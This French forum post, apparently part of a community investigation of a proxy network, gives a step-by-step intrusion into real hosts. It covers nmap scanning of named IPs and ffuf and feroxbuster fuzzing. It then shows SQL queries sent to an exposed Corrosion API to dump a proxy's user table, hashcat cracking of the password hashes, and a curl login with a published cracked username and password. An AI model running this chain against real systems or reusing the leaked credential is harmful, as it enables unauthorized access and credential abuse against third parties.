Intéressant, je ne connaissait pas personnellement ce proxy corrosion.
Corrosion n'est pas un proxy, c'est juste un système qui permet de répliquer et synchroniser une base SQLite sur plusieurs nœuds d'un cluster. Il y a un proxy qui tourne à côté, qui vraisemblablement stocke sa configuration dans cette base SQLite, que Corrosion synchronise sur tous les noeuds.
Je vais expliquer en gros comment je suis arrivé à ces conclusions, car il y a 2-3 trucs intéressant que d'autres sauront peut-être interpréter.
J'ai commencé par prendre quelques IPs (les 2-3 dernières du fichier de Vivien) et faire un SYN scan classique :
sudo nmap -T4 -p- 64.137.37.17Sur chacune on voit seulement 2 ports open : 30001, et un autre qui varie suivant les machines.
Sur ce port variable, on a clairement un proxy, qui demande une authentification :
$ curl -gsi 64.137.37.17:6607
HTTP/1.1 407 Proxy Authentication Required
Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization."
Proxy-Connection: close
Date: Sat, 06 Jun 2026 20:32:02 GMT
Content-Length: 121
Content-Type: text/plain; charset=utf-8
Connection: close
Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.
Sur le port 30001, on a un serveur HTTP :
$ curl -gsi 64.137.37.17:30001
HTTP/1.1 404 Not Found
content-length: 0
date: Sat, 06 Jun 2026 20:33:08 GMT
En fuzzant le port 30001 avec
feroxbuster et la
wordlist apiroutes d'Assetnotes:
feroxbuster -n -w assetnote-wordlists/data/automated/httparchive_apiroutes_2025_10_27.txt -u http://64.137.37.17:30001On trouve deux choses intéressantes :
- /v1/health qui retourne quelques stats
- /v1/subscriptions/pricing, /v1/subscriptions/plans et quelques autres qui retournent tous une erreur "400 Bad Request"
On se rend compte que "/v1/subscriptions/*" attend en fait en dernier élément un UUID, et l'erreur quand l'UUID est mal formé est assez spécifique :
$ curl -gsi http://64.137.37.17:30001/v1/subscriptions/1-2
HTTP/1.1 400 Bad Request
content-type: text/plain; charset=utf-8
content-length: 110
date: Sat, 06 Jun 2026 20:49:15 GMT
Invalid URL: Cannot parse `id` with value `1-2`: UUID parsing failed: invalid group count: expected 5, found 2
En faisant une
recherche sur ce message d'erreur, on voit qu'il correspond exactement à celui d'Axum, un framework web en Rust très connu.
En fuzzant à nouveau sous /v1, cette fois avec
ffuf (qui a par rapport à feroxbuster l'avantage de pouvoir fuzzer n'importe où dans la requête) et de simples mots:
ffuf -w assetnote-wordlists/data/manual/raft-large-words-lowercase.txt -u 'http://64.137.37.17:30001/v1/FUZZ/xxx' -fc 404 -mc allOn trouve "/v1/updates" en plus de "/v1/subscriptions". En
cherchant ces deux termes, on tombe sur
Corrosion, un système de clustering pour la base de donnée SQLite. Il est écrit en Rust et utilise bien Axum.
A partir de là, on a la doc pour explorer l'API. On peut notamment récupérer la liste des tables dans la base SQLite :
$ curl -gs http://64.137.37.17:30001/v1/queries -X POST --json '"SELECT name FROM sqlite_schema WHERE type = '\''table'\'' AND name NOT LIKE '\''sqlite_%'\''"' | jq -r '.row[1][0]'
null
crsql_tracked_peers
crsql_db_versions
crsql_master
crsql_site_id
__corro_state
__corro_seq_bookkeeping
__corro_buffered_changes
__corro_members
__corro_schema
__corro_bookkeeping_gaps
auth
auth__crsql_clock
auth__crsql_pks
null
Toutes ces tables sauf "auth" sont en fait utilisée par Corrosion pour son fonctionnement interne.
La table "auth" contient la configuration du proxy comme montré plus haut. En fuzzant avec les IP du tableau de Vivien, on peut chercher celles qui retournent des lignes, et qui donc ont des utilisateurs définis pour le proxy :
cat lafibre_ips.txt | ffuf -w - -u 'http://FUZZ:30001/v1/queries' -X POST -H 'Content-Type: application/json' -d '"SELECT * FROM auth"' -mr '"row"'Et on trouve 2 IPs : 82.24.249.37 et 82.21.249.30.
A partir de là on peut récupérer les hashs de tous les utilisateurs, et essayer de les casser avec hashcat (ils sont au format "Django") :
hashcat -m 124 -a 0 82.24.249.30_hashes /usr/share/dict/rockyou.txtOn en trouve 4 qui sont dans rockyou.txt, et on peut vérifier que le premier par exemple est bien accepté par le proxy :
curl -gsi -x http://82.24.249.30:5867 --proxy-basic --proxy-user hhhomerj:simpson00 http://example.comDans les trucs étonnant, il y a par exemple la table __corro_members, qui contient l'adresse des autres membres du cluster. Il y en a 599, et on peut voir qu'elles sont toutes en 10.x.x.x:3333 :
$ curl -gs http://82.24.249.30:30001/v1/queries -X POST --json '"SELECT * FROM __corro_members"' | jq -r '.row[1][1]' | grep -v '^null$'
10.9.15.139:3333
10.9.5.16:3333
10.9.16.49:3333
...
Ce qui voudrait dire :
- Soit que que tous les proxies sont sur le même réseau privé
- Soit que chaque proxy fait aussi tourner un VPN pour communiquer avec les autres
- Soit ?